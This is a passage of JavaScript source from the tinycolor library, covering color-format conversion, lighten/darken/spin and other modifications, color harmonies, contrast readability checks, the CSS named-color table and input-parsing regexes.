        // If input is already a tinycolor, return itself
        if (color instanceof tinycolor) {
           return color;
        }
        // If we are called as a function, call using new instead
        if (!(this instanceof tinycolor)) {
            return new tinycolor(color, opts);
        }

        var rgb = inputToRGB(color);
        this._originalInput = color;
        this._r = rgb.r;
        this._g = rgb.g;
        this._b = rgb.b;
        this._a = rgb.a;
        this._roundA = mathRound(1000 * this._a) / 1000;
        this._format = opts.format || rgb.format;
        this._gradientType = opts.gradientType;

        // Don't let the range of [0,255] come back in [0,1].
        // Potentially lose a little bit of precision here, but will fix issues where
        // .5 gets interpreted as half of the total, instead of half of 1
        // If it was supposed to be 128, this was already taken care of by `inputToRgb`
        if (this._r < 1) { this._r = mathRound(this._r); }
        if (this._g < 1) { this._g = mathRound(this._g); }
        if (this._b < 1) { this._b = mathRound(this._b); }

        this._ok = rgb.ok;
        this._tc_id = tinyCounter++;
    };

    tinycolor.prototype = {
        isDark: function() {
            return this.getBrightness() < 128;
        },
        isLight: function() {
            return !this.isDark();
        },
        isValid: function() {
            return this._ok;
        },
        getOriginalInput: function() {
          return this._originalInput;
        },
        getFormat: function() {
            return this._format;
        },
        getAlpha: function() {
            return this._a;
        },
        getBrightness: function() {
            var rgb = this.toRgb();
            return (rgb.r * 299 + rgb.g * 587 + rgb.b * 114) / 1000;
        },
        setAlpha: function(value) {
            this._a = boundAlpha(value);
            this._roundA = mathRound(1000 * this._a) / 1000;
            return this;
        },
        toHsv: function() {
            var hsv = rgbToHsv(this._r, this._g, this._b);
            return { h: hsv.h * 360, s: hsv.s, v: hsv.v, a: this._a };
        },
        toHsvString: function() {
            var hsv = rgbToHsv(this._r, this._g, this._b);
            var h = mathRound(hsv.h * 360), s = mathRound(hsv.s * 100), v = mathRound(hsv.v * 100);
            return (this._a == 1) ?
              "hsv("  + h + ", " + s + "%, " + v + "%)" :
              "hsva(" + h + ", " + s + "%, " + v + "%, "+ this._roundA + ")";
        },
        toHsl: function() {
            var hsl = rgbToHsl(this._r, this._g, this._b);
            return { h: hsl.h * 360, s: hsl.s, l: hsl.l, a: this._a };
        },
        toHslString: function() {
            var hsl = rgbToHsl(this._r, this._g, this._b);
            var h = mathRound(hsl.h * 360), s = mathRound(hsl.s * 100), l = mathRound(hsl.l * 100);
            return (this._a == 1) ?
              "hsl("  + h + ", " + s + "%, " + l + "%)" :
              "hsla(" + h + ", " + s + "%, " + l + "%, "+ this._roundA + ")";
        },
        toHex: function(allow3Char) {
            return rgbToHex(this._r, this._g, this._b, allow3Char);
        },
        toHexString: function(allow3Char) {
            return '#' + this.toHex(allow3Char);
        },
        toHex8: function() {
            return rgbaToHex(this._r, this._g, this._b, this._a);
        },
        toHex8String: function() {
            return '#' + this.toHex8();
        },
        toRgb: function() {
            return { r: mathRound(this._r), g: mathRound(this._g), b: mathRound(this._b), a: this._a };
        },
        toRgbString: function() {
            return (this._a == 1) ?
              "rgb("  + mathRound(this._r) + ", " + mathRound(this._g) + ", " + mathRound(this._b) + ")" :
              "rgba(" + mathRound(this._r) + ", " + mathRound(this._g) + ", " + mathRound(this._b) + ", " + this._roundA + ")";
        },
        toPercentageRgb: function() {
            return { r: mathRound(bound01(this._r, 255) * 100) + "%", g: mathRound(bound01(this._g, 255) * 100) + "%", b: mathRound(bound01(this._b, 255) * 100) + "%", a: this._a };
        },
        toPercentageRgbString: function() {
            return (this._a == 1) ?
              "rgb("  + mathRound(bound01(this._r, 255) * 100) + "%, " + mathRound(bound01(this._g, 255) * 100) + "%, " + mathRound(bound01(this._b, 255) * 100) + "%)" :
              "rgba(" + mathRound(bound01(this._r, 255) * 100) + "%, " + mathRound(bound01(this._g, 255) * 100) + "%, " + mathRound(bound01(this._b, 255) * 100) + "%, " + this._roundA + ")";
        },
        toName: function() {
            if (this._a === 0) {
                return "transparent";
            }

            if (this._a < 1) {
                return false;
            }

            return hexNames[rgbToHex(this._r, this._g, this._b, true)] || false;
        },
        toFilter: function(secondColor) {
            var hex8String = '#' + rgbaToHex(this._r, this._g, this._b, this._a);
            var secondHex8String = hex8String;
            var gradientType = this._gradientType ? "GradientType = 1, " : "";

            if (secondColor) {
                var s = tinycolor(secondColor);
                secondHex8String = s.toHex8String();
            }

            return "progid:DXImageTransform.Microsoft.gradient("+gradientType+"startColorstr="+hex8String+",endColorstr="+secondHex8String+")";
        },
        toString: function(format) {
            var formatSet = !!format;
            format = format || this._format;

            var formattedString = false;
            var hasAlpha = this._a < 1 && this._a >= 0;
            var needsAlphaFormat = !formatSet && hasAlpha && (format === "hex" || format === "hex6" || format === "hex3" || format === "name");

            if (needsAlphaFormat) {
                // Special case for "transparent", all other non-alpha formats
                // will return rgba when there is transparency.
                if (format === "name" && this._a === 0) {
                    return this.toName();
                }
                return this.toRgbString();
            }
            if (format === "rgb") {
                formattedString = this.toRgbString();
            }
            if (format === "prgb") {
                formattedString = this.toPercentageRgbString();
            }
            if (format === "hex" || format === "hex6") {
                formattedString = this.toHexString();
            }
            if (format === "hex3") {
                formattedString = this.toHexString(true);
            }
            if (format === "hex8") {
                formattedString = this.toHex8String();
            }
            if (format === "name") {
                formattedString = this.toName();
            }
            if (format === "hsl") {
                formattedString = this.toHslString();
            }
            if (format === "hsv") {
                formattedString = this.toHsvString();
            }

            return formattedString || this.toHexString();
        },

        _applyModification: function(fn, args) {
            var color = fn.apply(null, [this].concat([].slice.call(args)));
            this._r = color._r;
            this._g = color._g;
            this._b = color._b;
            this.setAlpha(color._a);
            return this;
        },
        lighten: function() {
            return this._applyModification(lighten, arguments);
        },
        brighten: function() {
            return this._applyModification(brighten, arguments);
        },
        darken: function() {
            return this._applyModification(darken, arguments);
        },
        desaturate: function() {
            return this._applyModification(desaturate, arguments);
        },
        saturate: function() {
            return this._applyModification(saturate, arguments);
        },
        greyscale: function() {
            return this._applyModification(greyscale, arguments);
        },
        spin: function() {
            return this._applyModification(spin, arguments);
        },

        _applyCombination: function(fn, args) {
            return fn.apply(null, [this].concat([].slice.call(args)));
        },
        analogous: function() {
            return this._applyCombination(analogous, arguments);
        },
        complement: function() {
            return this._applyCombination(complement, arguments);
        },
        monochromatic: function() {
            return this._applyCombination(monochromatic, arguments);
        },
        splitcomplement: function() {
            return this._applyCombination(splitcomplement, arguments);
        },
        triad: function() {
            return this._applyCombination(triad, arguments);
        },
        tetrad: function() {
            return this._applyCombination(tetrad, arguments);
        }
    };

    // If input is an object, force 1 into "1.0" to handle ratios properly
    // String input requires "1.0" as input, so 1 will be treated as 1
    tinycolor.fromRatio = function(color, opts) {
        if (typeof color == "object") {
            var newColor = {};
            for (var i in color) {
                if (color.hasOwnProperty(i)) {
                    if (i === "a") {
                        newColor[i] = color[i];
                    }
                    else {
                        newColor[i] = convertToPercentage(color[i]);
                    }
                }
            }
            color = newColor;
        }

        return tinycolor(color, opts);
    };

    // Given a string or object, convert that input to RGB
    // Possible string inputs:
    //
    //     "red"
    //     "#f00" or "f00"
    //     "#ff0000" or "ff0000"
    //     "#ff000000" or "ff000000"
    //     "rgb 255 0 0" or "rgb (255, 0, 0)"
    //     "rgb 1.0 0 0" or "rgb (1, 0, 0)"
    //     "rgba (255, 0, 0, 1)" or "rgba 255, 0, 0, 1"
    //     "rgba (1.0, 0, 0, 1)" or "rgba 1.0, 0, 0, 1"
    //     "hsl(0, 100%, 50%)" or "hsl 0 100% 50%"
    //     "hsla(0, 100%, 50%, 1)" or "hsla 0 100% 50%, 1"
    //     "hsv(0, 100%, 100%)" or "hsv 0 100% 100%"
    //
    function inputToRGB(color) {

        var rgb = { r: 0, g: 0, b: 0 };
        var a = 1;
        var ok = false;
        var format = false;

        if (typeof color == "string") {
            color = stringInputToObject(color);
        }

        if (typeof color == "object") {
            if (color.hasOwnProperty("r") && color.hasOwnProperty("g") && color.hasOwnProperty("b")) {
                rgb = rgbToRgb(color.r, color.g, color.b);
                ok = true;
                format = String(color.r).substr(-1) === "%" ? "prgb" : "rgb";
            }
            else if (color.hasOwnProperty("h") && color.hasOwnProperty("s") && color.hasOwnProperty("v")) {
                color.s = convertToPercentage(color.s);
                color.v = convertToPercentage(color.v);
                rgb = hsvToRgb(color.h, color.s, color.v);
                ok = true;
                format = "hsv";
            }
            else if (color.hasOwnProperty("h") && color.hasOwnProperty("s") && color.hasOwnProperty("l")) {
                color.s = convertToPercentage(color.s);
                color.l = convertToPercentage(color.l);
                rgb = hslToRgb(color.h, color.s, color.l);
                ok = true;
                format = "hsl";
            }

            if (color.hasOwnProperty("a")) {
                a = color.a;
            }
        }

        a = boundAlpha(a);

        return {
            ok: ok,
            format: color.format || format,
            r: mathMin(255, mathMax(rgb.r, 0)),
            g: mathMin(255, mathMax(rgb.g, 0)),
            b: mathMin(255, mathMax(rgb.b, 0)),
            a: a
        };
    }


    // Conversion Functions
    // --------------------

    // `rgbToHsl`, `rgbToHsv`, `hslToRgb`, `hsvToRgb` modified from:
    // <http://mjijackson.com/2008/02/rgb-to-hsl-and-rgb-to-hsv-color-model-conversion-algorithms-in-javascript>

    // `rgbToRgb`
    // Handle bounds / percentage checking to conform to CSS color spec
    // <http://www.w3.org/TR/css3-color/>
    // *Assumes:* r, g, b in [0, 255] or [0, 1]
    // *Returns:* { r, g, b } in [0, 255]
    function rgbToRgb(r, g, b){
        return {
            r: bound01(r, 255) * 255,
            g: bound01(g, 255) * 255,
            b: bound01(b, 255) * 255
        };
    }

    // `rgbToHsl`
    // Converts an RGB color value to HSL.
    // *Assumes:* r, g, and b are contained in [0, 255] or [0, 1]
    // *Returns:* { h, s, l } in [0,1]
    function rgbToHsl(r, g, b) {

        r = bound01(r, 255);
        g = bound01(g, 255);
        b = bound01(b, 255);

        var max = mathMax(r, g, b), min = mathMin(r, g, b);
        var h, s, l = (max + min) / 2;

        if(max == min) {
            h = s = 0; // achromatic
        }
        else {
            var d = max - min;
            s = l > 0.5 ? d / (2 - max - min) : d / (max + min);
            switch(max) {
                case r: h = (g - b) / d + (g < b ? 6 : 0); break;
                case g: h = (b - r) / d + 2; break;
                case b: h = (r - g) / d + 4; break;
            }

            h /= 6;
        }

        return { h: h, s: s, l: l };
    }

    // `hslToRgb`
    // Converts an HSL color value to RGB.
    // *Assumes:* h is contained in [0, 1] or [0, 360] and s and l are contained [0, 1] or [0, 100]
    // *Returns:* { r, g, b } in the set [0, 255]
    function hslToRgb(h, s, l) {
        var r, g, b;

        h = bound01(h, 360);
        s = bound01(s, 100);
        l = bound01(l, 100);

        function hue2rgb(p, q, t) {
            if(t < 0) t += 1;
            if(t > 1) t -= 1;
            if(t < 1/6) return p + (q - p) * 6 * t;
            if(t < 1/2) return q;
            if(t < 2/3) return p + (q - p) * (2/3 - t) * 6;
            return p;
        }

        if(s === 0) {
            r = g = b = l; // achromatic
        }
        else {
            var q = l < 0.5 ? l * (1 + s) : l + s - l * s;
            var p = 2 * l - q;
            r = hue2rgb(p, q, h + 1/3);
            g = hue2rgb(p, q, h);
            b = hue2rgb(p, q, h - 1/3);
        }

        return { r: r * 255, g: g * 255, b: b * 255 };
    }

    // `rgbToHsv`
    // Converts an RGB color value to HSV
    // *Assumes:* r, g, and b are contained in the set [0, 255] or [0, 1]
    // *Returns:* { h, s, v } in [0,1]
    function rgbToHsv(r, g, b) {

        r = bound01(r, 255);
        g = bound01(g, 255);
        b = bound01(b, 255);

        var max = mathMax(r, g, b), min = mathMin(r, g, b);
        var h, s, v = max;

        var d = max - min;
        s = max === 0 ? 0 : d / max;

        if(max == min) {
            h = 0; // achromatic
        }
        else {
            switch(max) {
                case r: h = (g - b) / d + (g < b ? 6 : 0); break;
                case g: h = (b - r) / d + 2; break;
                case b: h = (r - g) / d + 4; break;
            }
            h /= 6;
        }
        return { h: h, s: s, v: v };
    }

    // `hsvToRgb`
    // Converts an HSV color value to RGB.
    // *Assumes:* h is contained in [0, 1] or [0, 360] and s and v are contained in [0, 1] or [0, 100]
    // *Returns:* { r, g, b } in the set [0, 255]
     function hsvToRgb(h, s, v) {

        h = bound01(h, 360) * 6;
        s = bound01(s, 100);
        v = bound01(v, 100);

        var i = math.floor(h),
            f = h - i,
            p = v * (1 - s),
            q = v * (1 - f * s),
            t = v * (1 - (1 - f) * s),
            mod = i % 6,
            r = [v, q, p, p, t, v][mod],
            g = [t, v, v, q, p, p][mod],
            b = [p, p, t, v, v, q][mod];

        return { r: r * 255, g: g * 255, b: b * 255 };
    }

    // `rgbToHex`
    // Converts an RGB color to hex
    // Assumes r, g, and b are contained in the set [0, 255]
    // Returns a 3 or 6 character hex
    function rgbToHex(r, g, b, allow3Char) {

        var hex = [
            pad2(mathRound(r).toString(16)),
            pad2(mathRound(g).toString(16)),
            pad2(mathRound(b).toString(16))
        ];

        // Return a 3 character hex if possible
        if (allow3Char && hex[0].charAt(0) == hex[0].charAt(1) && hex[1].charAt(0) == hex[1].charAt(1) && hex[2].charAt(0) == hex[2].charAt(1)) {
            return hex[0].charAt(0) + hex[1].charAt(0) + hex[2].charAt(0);
        }

        return hex.join("");
    }
        // `rgbaToHex`
        // Converts an RGBA color plus alpha transparency to hex
        // Assumes r, g, b and a are contained in the set [0, 255]
        // Returns an 8 character hex
        function rgbaToHex(r, g, b, a) {

            var hex = [
                pad2(convertDecimalToHex(a)),
            pad2(mathRound(r).toString(16)),
            pad2(mathRound(g).toString(16)),
            pad2(mathRound(b).toString(16))
        ];

        return hex.join("");
    }

    // `equals`
    // Can be called with any tinycolor input
    tinycolor.equals = function (color1, color2) {
        if (!color1 || !color2) { return false; }
        return tinycolor(color1).toRgbString() == tinycolor(color2).toRgbString();
    };
    tinycolor.random = function() {
        return tinycolor.fromRatio({
            r: mathRandom(),
            g: mathRandom(),
            b: mathRandom()
        });
    };


    // Modification Functions
    // ----------------------
    // Thanks to less.js for some of the basics here
    // <https://github.com/cloudhead/less.js/blob/master/lib/less/functions.js>

    function desaturate(color, amount) {
        amount = (amount === 0) ? 0 : (amount || 10);
        var hsl = tinycolor(color).toHsl();
        hsl.s -= amount / 100;
        hsl.s = clamp01(hsl.s);
        return tinycolor(hsl);
    }

    function saturate(color, amount) {
        amount = (amount === 0) ? 0 : (amount || 10);
        var hsl = tinycolor(color).toHsl();
        hsl.s += amount / 100;
        hsl.s = clamp01(hsl.s);
        return tinycolor(hsl);
    }

    function greyscale(color) {
        return tinycolor(color).desaturate(100);
    }

    function lighten (color, amount) {
        amount = (amount === 0) ? 0 : (amount || 10);
        var hsl = tinycolor(color).toHsl();
        hsl.l += amount / 100;
        hsl.l = clamp01(hsl.l);
        return tinycolor(hsl);
    }

    function brighten(color, amount) {
        amount = (amount === 0) ? 0 : (amount || 10);
        var rgb = tinycolor(color).toRgb();
        rgb.r = mathMax(0, mathMin(255, rgb.r - mathRound(255 * - (amount / 100))));
        rgb.g = mathMax(0, mathMin(255, rgb.g - mathRound(255 * - (amount / 100))));
        rgb.b = mathMax(0, mathMin(255, rgb.b - mathRound(255 * - (amount / 100))));
        return tinycolor(rgb);
    }

    function darken (color, amount) {
        amount = (amount === 0) ? 0 : (amount || 10);
        var hsl = tinycolor(color).toHsl();
        hsl.l -= amount / 100;
        hsl.l = clamp01(hsl.l);
        return tinycolor(hsl);
    }

    // Spin takes a positive or negative amount within [-360, 360] indicating the change of hue.
    // Values outside of this range will be wrapped into this range.
    function spin(color, amount) {
        var hsl = tinycolor(color).toHsl();
        var hue = (mathRound(hsl.h) + amount) % 360;
        hsl.h = hue < 0 ? 360 + hue : hue;
        return tinycolor(hsl);
    }

    // Combination Functions
    // ---------------------
    // Thanks to jQuery xColor for some of the ideas behind these
    // <https://github.com/infusion/jQuery-xcolor/blob/master/jquery.xcolor.js>

    function complement(color) {
        var hsl = tinycolor(color).toHsl();
        hsl.h = (hsl.h + 180) % 360;
        return tinycolor(hsl);
    }

    function triad(color) {
        var hsl = tinycolor(color).toHsl();
        var h = hsl.h;
        return [
            tinycolor(color),
            tinycolor({ h: (h + 120) % 360, s: hsl.s, l: hsl.l }),
            tinycolor({ h: (h + 240) % 360, s: hsl.s, l: hsl.l })
        ];
    }

    function tetrad(color) {
        var hsl = tinycolor(color).toHsl();
        var h = hsl.h;
        return [
            tinycolor(color),
            tinycolor({ h: (h + 90) % 360, s: hsl.s, l: hsl.l }),
            tinycolor({ h: (h + 180) % 360, s: hsl.s, l: hsl.l }),
            tinycolor({ h: (h + 270) % 360, s: hsl.s, l: hsl.l })
        ];
    }

    function splitcomplement(color) {
        var hsl = tinycolor(color).toHsl();
        var h = hsl.h;
        return [
            tinycolor(color),
            tinycolor({ h: (h + 72) % 360, s: hsl.s, l: hsl.l}),
            tinycolor({ h: (h + 216) % 360, s: hsl.s, l: hsl.l})
        ];
    }

    function analogous(color, results, slices) {
        results = results || 6;
        slices = slices || 30;

        var hsl = tinycolor(color).toHsl();
        var part = 360 / slices;
        var ret = [tinycolor(color)];

        for (hsl.h = ((hsl.h - (part * results >> 1)) + 720) % 360; --results; ) {
            hsl.h = (hsl.h + part) % 360;
            ret.push(tinycolor(hsl));
        }
        return ret;
    }

    function monochromatic(color, results) {
        results = results || 6;
        var hsv = tinycolor(color).toHsv();
        var h = hsv.h, s = hsv.s, v = hsv.v;
        var ret = [];
        var modification = 1 / results;

        while (results--) {
            ret.push(tinycolor({ h: h, s: s, v: v}));
            v = (v + modification) % 1;
        }

        return ret;
    }

    // Utility Functions
    // ---------------------

    tinycolor.mix = function(color1, color2, amount) {
        amount = (amount === 0) ? 0 : (amount || 50);

        var rgb1 = tinycolor(color1).toRgb();
        var rgb2 = tinycolor(color2).toRgb();

        var p = amount / 100;
        var w = p * 2 - 1;
        var a = rgb2.a - rgb1.a;

        var w1;

        if (w * a == -1) {
            w1 = w;
        } else {
            w1 = (w + a) / (1 + w * a);
        }

        w1 = (w1 + 1) / 2;

        var w2 = 1 - w1;

        var rgba = {
            r: rgb2.r * w1 + rgb1.r * w2,
            g: rgb2.g * w1 + rgb1.g * w2,
            b: rgb2.b * w1 + rgb1.b * w2,
            a: rgb2.a * p  + rgb1.a * (1 - p)
        };

        return tinycolor(rgba);
    };


    // Readability Functions
    // ---------------------
    // <http://www.w3.org/TR/AERT#color-contrast>

    // `readability`
    // Analyze the 2 colors and returns an object with the following properties:
    //    `brightness`: difference in brightness between the two colors
    //    `color`: difference in color/hue between the two colors
    tinycolor.readability = function(color1, color2) {
        var c1 = tinycolor(color1);
        var c2 = tinycolor(color2);
        var rgb1 = c1.toRgb();
        var rgb2 = c2.toRgb();
        var brightnessA = c1.getBrightness();
        var brightnessB = c2.getBrightness();
        var colorDiff = (
            Math.max(rgb1.r, rgb2.r) - Math.min(rgb1.r, rgb2.r) +
            Math.max(rgb1.g, rgb2.g) - Math.min(rgb1.g, rgb2.g) +
            Math.max(rgb1.b, rgb2.b) - Math.min(rgb1.b, rgb2.b)
        );

        return {
            brightness: Math.abs(brightnessA - brightnessB),
            color: colorDiff
        };
    };

    // `readable`
    // http://www.w3.org/TR/AERT#color-contrast
    // Ensure that foreground and background color combinations provide sufficient contrast.
    // *Example*
    //    tinycolor.isReadable("#000", "#111") => false
    tinycolor.isReadable = function(color1, color2) {
        var readability = tinycolor.readability(color1, color2);
        return readability.brightness > 125 && readability.color > 500;
    };

    // `mostReadable`
    // Given a base color and a list of possible foreground or background
    // colors for that base, returns the most readable color.
    // *Example*
    //    tinycolor.mostReadable("#123", ["#fff", "#000"]) => "#000"
    tinycolor.mostReadable = function(baseColor, colorList) {
        var bestColor = null;
        var bestScore = 0;
        var bestIsReadable = false;
        for (var i=0; i < colorList.length; i++) {

            // We normalize both around the "acceptable" breaking point,
            // but rank brightness constrast higher than hue.

            var readability = tinycolor.readability(baseColor, colorList[i]);
            var readable = readability.brightness > 125 && readability.color > 500;
            var score = 3 * (readability.brightness / 125) + (readability.color / 500);

            if ((readable && ! bestIsReadable) ||
                (readable && bestIsReadable && score > bestScore) ||
                ((! readable) && (! bestIsReadable) && score > bestScore)) {
                bestIsReadable = readable;
                bestScore = score;
                bestColor = tinycolor(colorList[i]);
            }
        }
        return bestColor;
    };


    // Big List of Colors
    // ------------------
    // <http://www.w3.org/TR/css3-color/#svg-color>
    var names = tinycolor.names = {
        aliceblue: "f0f8ff",
        antiquewhite: "faebd7",
        aqua: "0ff",
        aquamarine: "7fffd4",
        azure: "f0ffff",
        beige: "f5f5dc",
        bisque: "ffe4c4",
        black: "000",
        blanchedalmond: "ffebcd",
        blue: "00f",
        blueviolet: "8a2be2",
        brown: "a52a2a",
        burlywood: "deb887",
        burntsienna: "ea7e5d",
        cadetblue: "5f9ea0",
        chartreuse: "7fff00",
        chocolate: "d2691e",
        coral: "ff7f50",
        cornflowerblue: "6495ed",
        cornsilk: "fff8dc",
        crimson: "dc143c",
        cyan: "0ff",
        darkblue: "00008b",
        darkcyan: "008b8b",
        darkgoldenrod: "b8860b",
        darkgray: "a9a9a9",
        darkgreen: "006400",
        darkgrey: "a9a9a9",
        darkkhaki: "bdb76b",
        darkmagenta: "8b008b",
        darkolivegreen: "556b2f",
        darkorange: "ff8c00",
        darkorchid: "9932cc",
        darkred: "8b0000",
        darksalmon: "e9967a",
        darkseagreen: "8fbc8f",
        darkslateblue: "483d8b",
        darkslategray: "2f4f4f",
        darkslategrey: "2f4f4f",
        darkturquoise: "00ced1",
        darkviolet: "9400d3",
        deeppink: "ff1493",
        deepskyblue: "00bfff",
        dimgray: "696969",
        dimgrey: "696969",
        dodgerblue: "1e90ff",
        firebrick: "b22222",
        floralwhite: "fffaf0",
        forestgreen: "228b22",
        fuchsia: "f0f",
        gainsboro: "dcdcdc",
        ghostwhite: "f8f8ff",
        gold: "ffd700",
        goldenrod: "daa520",
        gray: "808080",
        green: "008000",
        greenyellow: "adff2f",
        grey: "808080",
        honeydew: "f0fff0",
        hotpink: "ff69b4",
        indianred: "cd5c5c",
        indigo: "4b0082",
        ivory: "fffff0",
        khaki: "f0e68c",
        lavender: "e6e6fa",
        lavenderblush: "fff0f5",
        lawngreen: "7cfc00",
        lemonchiffon: "fffacd",
        lightblue: "add8e6",
        lightcoral: "f08080",
        lightcyan: "e0ffff",
        lightgoldenrodyellow: "fafad2",
        lightgray: "d3d3d3",
        lightgreen: "90ee90",
        lightgrey: "d3d3d3",
        lightpink: "ffb6c1",
        lightsalmon: "ffa07a",
        lightseagreen: "20b2aa",
        lightskyblue: "87cefa",
        lightslategray: "789",
        lightslategrey: "789",
        lightsteelblue: "b0c4de",
        lightyellow: "ffffe0",
        lime: "0f0",
        limegreen: "32cd32",
        linen: "faf0e6",
        magenta: "f0f",
        maroon: "800000",
        mediumaquamarine: "66cdaa",
        mediumblue: "0000cd",
        mediumorchid: "ba55d3",
        mediumpurple: "9370db",
        mediumseagreen: "3cb371",
        mediumslateblue: "7b68ee",
        mediumspringgreen: "00fa9a",
        mediumturquoise: "48d1cc",
        mediumvioletred: "c71585",
        midnightblue: "191970",
        mintcream: "f5fffa",
        mistyrose: "ffe4e1",
        moccasin: "ffe4b5",
        navajowhite: "ffdead",
        navy: "000080",
        oldlace: "fdf5e6",
        olive: "808000",
        olivedrab: "6b8e23",
        orange: "ffa500",
        orangered: "ff4500",
        orchid: "da70d6",
        palegoldenrod: "eee8aa",
        palegreen: "98fb98",
        paleturquoise: "afeeee",
        palevioletred: "db7093",
        papayawhip: "ffefd5",
        peachpuff: "ffdab9",
        peru: "cd853f",
        pink: "ffc0cb",
        plum: "dda0dd",
        powderblue: "b0e0e6",
        purple: "800080",
        rebeccapurple: "663399",
        red: "f00",
        rosybrown: "bc8f8f",
        royalblue: "4169e1",
        saddlebrown: "8b4513",
        salmon: "fa8072",
        sandybrown: "f4a460",
        seagreen: "2e8b57",
        seashell: "fff5ee",
        sienna: "a0522d",
        silver: "c0c0c0",
        skyblue: "87ceeb",
        slateblue: "6a5acd",
        slategray: "708090",
        slategrey: "708090",
        snow: "fffafa",
        springgreen: "00ff7f",
        steelblue: "4682b4",
        tan: "d2b48c",
        teal: "008080",
        thistle: "d8bfd8",
        tomato: "ff6347",
        turquoise: "40e0d0",
        violet: "ee82ee",
        wheat: "f5deb3",
        white: "fff",
        whitesmoke: "f5f5f5",
        yellow: "ff0",
        yellowgreen: "9acd32"
    };

    // Make it easy to access colors via `hexNames[hex]`
    var hexNames = tinycolor.hexNames = flip(names);


    // Utilities
    // ---------

    // `{ 'name1': 'val1' }` becomes `{ 'val1': 'name1' }`
    function flip(o) {
        var flipped = { };
        for (var i in o) {
            if (o.hasOwnProperty(i)) {
                flipped[o[i]] = i;
            }
        }
        return flipped;
    }

    // Return a valid alpha value [0,1] with all invalid values being set to 1
    function boundAlpha(a) {
        a = parseFloat(a);

        if (isNaN(a) || a < 0 || a > 1) {
            a = 1;
        }

        return a;
    }

    // Take input from [0, n] and return it as [0, 1]
    function bound01(n, max) {
        if (isOnePointZero(n)) { n = "100%"; }

        var processPercent = isPercentage(n);
        n = mathMin(max, mathMax(0, parseFloat(n)));

        // Automatically convert percentage into number
        if (processPercent) {
            n = parseInt(n * max, 10) / 100;
        }

        // Handle floating point rounding errors
        if ((math.abs(n - max) < 0.000001)) {
            return 1;
        }

        // Convert into [0, 1] range if it isn't already
        return (n % max) / parseFloat(max);
    }

    // Force a number between 0 and 1
    function clamp01(val) {
        return mathMin(1, mathMax(0, val));
    }

    // Parse a base-16 hex value into a base-10 integer
    function parseIntFromHex(val) {
        return parseInt(val, 16);
    }

    // Need to handle 1.0 as 100%, since once it is a number, there is no difference between it and 1
    // <http://stackoverflow.com/questions/7422072/javascript-how-to-detect-number-as-a-decimal-including-1-0>
    function isOnePointZero(n) {
        return typeof n == "string" && n.indexOf('.') != -1 && parseFloat(n) === 1;
    }

    // Check to see if string passed in is a percentage
    function isPercentage(n) {
        return typeof n === "string" && n.indexOf('%') != -1;
    }

    // Force a hex value to have 2 characters
    function pad2(c) {
        return c.length == 1 ? '0' + c : '' + c;
    }

    // Replace a decimal with it's percentage value
    function convertToPercentage(n) {
        if (n <= 1) {
            n = (n * 100) + "%";
        }

        return n;
    }

    // Converts a decimal to a hex value
    function convertDecimalToHex(d) {
        return Math.round(parseFloat(d) * 255).toString(16);
    }
    // Converts a hex value to a decimal
    function convertHexToDecimal(h) {
        return (parseIntFromHex(h) / 255);
    }

    var matchers = (function() {

        // <http://www.w3.org/TR/css3-values/#integers>
        var CSS_INTEGER = "[-\\+]?\\d+%?";

        // <http://www.w3.org/TR/css3-values/#number-value>
        var CSS_NUMBER = "[-\\+]?\\d*\\.\\d+%?";

        // Allow positive/negative integer/number.  Don't capture the either/or, just the entire outcome.
        var CSS_UNIT = "(?:" + CSS_NUMBER + ")|(?:" + CSS_INTEGER + ")";

        // Actual matching.
        // Parentheses and commas are optional, but not required.
        // Whitespace can take the place of commas or opening paren
        var PERMISSIVE_MATCH3 = "[\\s|\\(]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")\\s*\\)?";
        var PERMISSIVE_MATCH4 = "[\\s|\\(]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")\\s*\\)?";

        return {
            rgb: new RegExp("rgb" + PERMISSIVE_MATCH3),
            rgba: new RegExp("rgba" + PERMISSIVE_MATCH4),
            hsl: new RegExp("hsl" + PERMISSIVE_MATCH3),
            hsla: new RegExp("hsla" + PERMISSIVE_MATCH4),
            hsv: new RegExp("hsv" + PERMISSIVE_MATCH3),
            hsva: new RegExp("hsva" + PERMISSIVE_MATCH4),
            hex3: /^([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,
            hex6: /^([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/,
            hex8: /^([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/
        };
    })();

    // `stringInputToObject`
    // Permissive string parsing.  Take in a number of formats, and output an object
    // based on detected format.  Returns `{ r, g, b }` or `{ h, s, l }` or `{ h, s, v}`
    function stringInputToObject(color) {

        color = color.replace(trimLeft,'').replace(trimRight, '').toLowerCase();
        var named = false;
        if (names[color]) {
            color = names[color];
            named = true;
        }
        else if (color == 'transparent') {
            return { r: 0, g: 0, b: 0, a: 0, format: "name" };
        }

        // Try to match string input using regular expressions.
        // Keep most of the number bounding out of this function - don't worry about [0,1] or [0,100] or [0,360]
        // Just return an object and let the conversion functions handle that.
        // This way the result will be the same whether the tinycolor is initialized with string or object.
        var match;
        if ((match = matchers.rgb.exec(color))) {
            return { r: match[1], g: match[2], b: match[3] };
        }
        if ((match = matchers.rgba.exec(color))) {
            return { r: match[1], g: match[2], b: match[3], a: match[4] };
        }
        if ((match = matchers.hsl.exec(color))) {
            return { h: match[1], s: match[2], l: match[3] };
        }
        if ((match = matchers.hsla.exec(color))) {
            return { h: match[1], s: match[2], l: match[3], a: match[4] };
        }
        if ((match = matchers.hsv.exec(color))) {
            return { h: match[1], s: match[2], v: match[3] };
        }
        if ((match = matchers.hsva.exec(color))) {
            return { h: match[1], s: match[2], v: match[3], a: match[4] };
        }
        if ((match = matchers.hex8.exec(color))) {
            return {
                a: convertHexToDecimal(match[1]),
                r: parseIntFromHex(match[2]),
                g: parseIntFromHex(match[3]),
                b: parseIntFromHex(match[4]),
                format: named ? "name" : "hex8"
            };
        }
        if ((match = matchers.hex6.exec(color))) {
            return {
                r: parseIntFromHex(match[1]),
                g: parseIntFromHex(match[2]),
                b: parseIntFromHex(match[3]),
                format: named ? "name" : "hex"
            };
        }
        if ((match = matchers.hex3.exec(color))) {
            return {
                r: parseIntFromHex(match[1] + '' + match[1]),
                g: parseIntFromHex(match[2] + '' + match[2]),
                b: parseIntFromHex(match[3] + '' + match[3]),
